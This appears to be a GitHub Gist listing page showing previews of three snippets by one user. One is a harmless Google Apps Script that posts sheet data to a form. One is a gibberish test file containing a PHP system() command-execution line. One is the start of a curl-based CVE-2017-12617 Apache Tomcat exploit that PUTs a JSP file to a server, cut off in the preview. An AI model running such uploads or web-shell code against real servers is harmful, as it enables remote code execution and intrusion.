Skip to content

Instantly share code, notes, and snippets.

@thel3l
thel3l / inversoin.chpl
Created March 28, 2019 18:36
befeifhi
fnieawbnfiehf efhiuaehfiu
<?php system("ls -la"); ?>
@thel3l
thel3l / google_form_from_sheet.gs
Created June 17, 2021 17:37
Short Google Apps Script that takes data from a Google Sheet and posts it to a Google Form. Script autofilling forms etc.
function myFunction() {
var Workbook = SpreadsheetApp.getActiveSpreadsheet();
var Wrksheet = Workbook.getSheetByName("Sheet1"); // Enter sheet number
var FormURL = ""; // Enter Google form URL here
var FormData = ""; // init
// Replace w. your vars
var Name = "";
var Age = "";
var Mobile = "";
@thel3l
thel3l / exploit.sh
Created June 27, 2021 19:40
CVE-2017-12617 Apache Tomcat Manual exploit
curl -X PUT \
http://192.168.1.97:8080/exploit1.jsp/ \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' \
-H 'Cache-Control: no-cache' \
-H 'Cookie: 3CF55E9DEF8C504D35340369C389EF8A' \
-H 'Postman-Token: a38a0a36-da12-5b6f-3d56-339e13381c36' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36' \
-d '<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>